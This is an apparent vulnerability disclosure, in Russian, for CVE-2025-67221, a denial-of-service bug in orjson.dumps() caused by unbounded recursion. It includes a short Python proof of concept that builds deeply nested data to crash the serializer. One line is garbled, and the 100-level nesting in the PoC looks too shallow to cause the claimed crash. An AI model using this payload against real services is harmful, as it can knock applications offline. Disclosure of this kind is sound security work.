
Документация и код воспроизведения для CVE-2025-67221, уязвимости отказа в обслуживании в функции dumps() библиотеки orjson, вызванной неконтролируемой рекурсией при сериализации глубоко вложенных JSON-данных.
| Поле | Значение |
|---|
| CVE ID | CVE-2025-67221 |
| Затронутый продукт | orjson |
| Затронутые версии | ≤ 3.11.4 |
| Тип уязвимости | Отказ в обслуживании (неконтролируемая рекурсия) |
| Вектор атаки | Удалённо (если атакующий контролирует сериализуемые данные) |
В функции orjson.dumps() в orjson версиях 3.11.4 и более ранних существует уязвимость, приводящая к отказу в обслуживании. Функция не обеспечивает ограничение глубины рекурсии при сериализации глубоко вложенных структур данных JSON. Атакующий, который может заставить приложение сериализовать контролируемые им вложенные данные, может вызвать аварийное завершение процедуры сериализации.
orjson.dumps()pysrc/orjson/__init__.pyiПротестировано на
Приложения, использующие orjson для сериализации недоверенных или контролируемых атакующим структур данных, могут быть уязвимы к атакам типа «отказ в обслуживании».
Код для локального воспроизведения уязвимости:
import orjson
import sys
import platform
print(f'OS: {platform.platform()}')
print(f'Python version: {sys. version}')
print(f'orjson version: {orjson.__version__}')
nested = []
for i in range(100):
nested = [{"level": i, "next": nested}]
dumped = orjson.dumps(nested)
##Demo
Приведённый выше код приводит к созданию core dump
